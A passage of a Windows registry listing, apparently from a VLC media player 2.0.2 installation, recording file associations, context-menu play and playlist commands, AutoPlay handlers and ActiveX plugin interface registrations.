"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rmi\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls]
"(Default)" = "VLC media file (.pls)"

[HKCR\VLC.m4p\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}]
"(Default)" = "IVLCControl2"

[HKCR\VLC.it]
"(Default)" = "VLC media file (.it)"

[HKCR\VLC.asf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m1v\shell]
"(Default)" = "Open"

[HKCR\VLC.cue\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mxf]
"(Default)" = "VLC media file (.mxf)"

[HKCR\VLC.vob\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2t\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".sdp" = ""

[HKCR\VLC.webm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.tta\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".S3M" = "VLC.s3m"

[HKCR\VLC.mpe\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.tod\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.xm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".bin" = ""

[HKCR\VLC.mpe\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.tod\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.snd\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.nuv]
"(Default)" = "VLC media file (.nuv)"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"Action" = "Play video files"

[HKCR\Applications\vlc.exe\SupportedTypes]
".amv" = ""

[HKCR\VLC.ogx]
"(Default)" = "VLC media file (.ogx)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rmvb" = ""

[HKCR\VLC.mp3\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpeg1\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp1\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.rec\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aob" = ""

[HKCR\VLC.drc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cue\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.cue\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo]
"(Default)" = "VLC media file (.ifo)"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ogv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.f4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3g2]
"(Default)" = "VLC.3g2"

[HKCR\VLC.wav]
"(Default)" = "VLC media file (.wav)"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ts\shell]
"(Default)" = "Open"

[HKCR\VLC.flv\shell]
"(Default)" = "Open"

[HKCR\.mpeg4]
"(Default)" = "VLC.mpeg4"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp4" = ""

[HKCR\VLC.amv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP2" = ""

[HKCR\VLC.mp4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"InstallLocation" = "%Program Files% (x86)\VideoLAN\VLC"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".PLS" = "VLC.pls"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MOD" = ""

[HKCR\.ape]
"(Default)" = "VLC.ape"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mov" = ""

[HKCR\VLC.tta]
"(Default)" = "VLC media file (.tta)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".amv" = "VLC.amv"
".amr" = "VLC.amr"

[HKCR\VLC.tts\shell]
"(Default)" = "Open"

[HKCR\VLC.aif\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".XM" = "VLC.xm"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3g2" = ""

[HKCR\.oma]
"(Default)" = "VLC.oma"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".xa" = "VLC.xa"

[HKCR\VLC.gxf\shell]
"(Default)" = "Open"

[HKCR\VLC.gxf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rmvb" = "VLC.rmvb"

[HKCR\VLC.adt\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".nuv" = ""

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.a52\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg\shell]
"(Default)" = "Open"

[HKCR\VLC.tod\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.divx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.flac\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}]
"(Default)" = "IVLCLogo"

[HKCR\VLC.m2t\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vro]
"(Default)" = "VLC.vro"

[HKCR\VLC.mpeg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".XM" = ""
".xa" = ""

[HKCR\VLC.m4p\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"Language" = "1033"

[HKCR\.avi]
"(Default)" = "VLC.avi"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities]
"ApplicationDescription" = "VLC - The video swiss knife"

[HKCR\VLC.mp4v]
"(Default)" = "VLC media file (.mp4v)"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"VersionMajor" = "2"

[HKCR\.nsv]
"(Default)" = "VLC.nsv"

[HKCR\VLC.mts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.flac]
"(Default)" = "VLC media file (.flac)"

[HKCR\VLC.mka\shell]
"(Default)" = "Open"

[HKCR\VLC.oga\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}]
"(Default)" = "IVLCDeinterlace"

[HKCR\VLC.xspf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vlc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.xa]
"(Default)" = "VLC.xa"

[HKCR\VLC.rmi\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.gxf\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpeg4" = "VLC.mpeg4"
".mpeg2" = "VLC.mpeg2"
".mpeg1" = "VLC.mpeg1"

[HKCR\VLC.a52\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.snd]
"(Default)" = "VLC.snd"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.mp4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rmi\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp1\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.tta]
"(Default)" = "VLC.tta"

[HKCR\VLC.vlc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.pls\shell]
"(Default)" = "Open"

[HKCR\VLC.3ga\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.wma\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg4\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.avi\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.nsv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.flv]
"(Default)" = "VLC media file (.flv)"

[HKCR\VLC.ac3\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp1\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp2v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpeg2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.mp2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.s3m\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.aifc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.amr\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.b4s\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayName" = "VLC media player 2.0.2"

[HKCR\VLC.mp4]
"(Default)" = "VLC media file (.mp4)"

[HKCR\VLC.dts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aif\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m2t" = ""
".m2v" = ""

[HKCR\VLC.pls\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aob\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpe\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpa\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oga]
"(Default)" = "VLC media file (.oga)"

[HKCR\VLC.mp2v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dv]
"(Default)" = "VLC media file (.dv)"

[HKCR\VLC.mpa\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpv2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3gp2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\AudioCD\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file cdda:///%1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayCDAudioOnArrival]
"VLCPlayCDAudioOnArrival" = ""

[HKCR\VLC.cue\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpe\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Directory\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mlp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp1\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"VersionMinor" = "0"

[HKCR\VLC.wmv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.oga\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg1\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.rmvb\shell]
"(Default)" = "Open"

[HKCR\VLC.vob]
"(Default)" = "VLC media file (.vob)"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\InprocServer32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp2v" = ""

[HKCR\VLC.webm]
"(Default)" = "VLC media file (.webm)"

[HKCR\.ogx]
"(Default)" = "VLC.ogx"

[HKCR\VLC.au\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m2v\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpeg1" = ""
".IT" = ""
".mpeg2" = ""
".mpeg4" = ""

[HKCR\VLC.wav\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mtv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv\shell]
"(Default)" = "Open"

[HKCR\VLC.w64\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mlp" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"InvokeProgID" = "VLC.VCDMovie"

[HKCR\VLC.m4p\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ape\shell]
"(Default)" = "Open"

[HKCR\VLC.it\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3gpp\shell\Open]
"(Default)" = "Play"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.spx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gpp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m3u\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".a52" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"IconsVisible" = "1"

[HKCR\VLC.3gp2]
"(Default)" = "VLC media file (.3gp2)"

[HKCR\VLC.ogg]
"(Default)" = "VLC media file (.ogg)"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}]
"(Default)" = "IVLCControl2"

[HKCR\VLC.tod\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oga\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.au\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.w64\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".WV" = ""

[HKCR\.gxf]
"(Default)" = "VLC.gxf"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".nuv" = "VLC.nuv"

[HKCR\VLC.mp2v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mka]
"(Default)" = "VLC.mka"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\Version]
"(Default)" = "1.0"

[HKCR\VideoLAN.VLCPlugin.2\CLSID]
"(Default)" = "{9BE31822-FDAD-461B-AD51-BE1D1C159921}"

[HKCR\VLC.aob\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mov\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M3U" = ""

[HKCR\VLC.mp4v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mkv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpe\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ifo" = ""

[HKCR\VLC.mxf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ogm]
"(Default)" = "VLC media file (.ogm)"

[HKCR\VideoLAN.VLCPlugin\CLSID]
"(Default)" = "{9BE31822-FDAD-461B-AD51-BE1D1C159921}"

[HKCR\VLC.m4a\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.tts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3gpp]
"(Default)" = "VLC.3gpp"

[HKCR\VLC.cda]
"(Default)" = "VLC media file (.cda)"

[HKCR\VLC.mkv\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpe" = "VLC.mpe"
".mpg" = "VLC.mpg"
".mpa" = "VLC.mpa"
".MPC" = "VLC.mpc"
".sdp" = "VLC.sdp"

[HKCR\VLC.m2t\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v2"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}]
"(Default)" = "IVLCSubtitle"

[HKCR\VLC.mka\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp4" = "VLC.mp4"

[HKCR\VLC.aif\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MP1" = "VLC.mp1"
".MP3" = "VLC.mp3"
".MP2" = "VLC.mp2"

[HKCR\VLC.mpeg1\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mka\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".S3M" = ""

[HKCR\VLC.b4s\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.spx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.dv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\Open]
"(Default)" = "Play"

[HKCR\.f4v]
"(Default)" = "VLC.f4v"

[HKCR\VLC.ifo\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg4\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg4\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".asx" = ""
".asf" = ""

[HKCR\VLC.mp4\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.nsv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m3u8\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}]
"(Default)" = "IVLCMediaDescription"

[HKCR\VLC.ts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VideoLAN.VLCPlugin\CurVer]
"(Default)" = "VideoLAN.VLCPlugin.2"

[HKCR\VLC.aob\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder]
"(Default)" = "VLC Play content"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aob" = "VLC.aob"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}]
"(Default)" = "IVLCControl"

[HKCR\VLC.mpeg2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpa\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mlp" = "VLC.mlp"

[HKCR\VLC.rmvb\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".amr" = ""

[HKCR\VLC.m4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder\shell\Open\command]
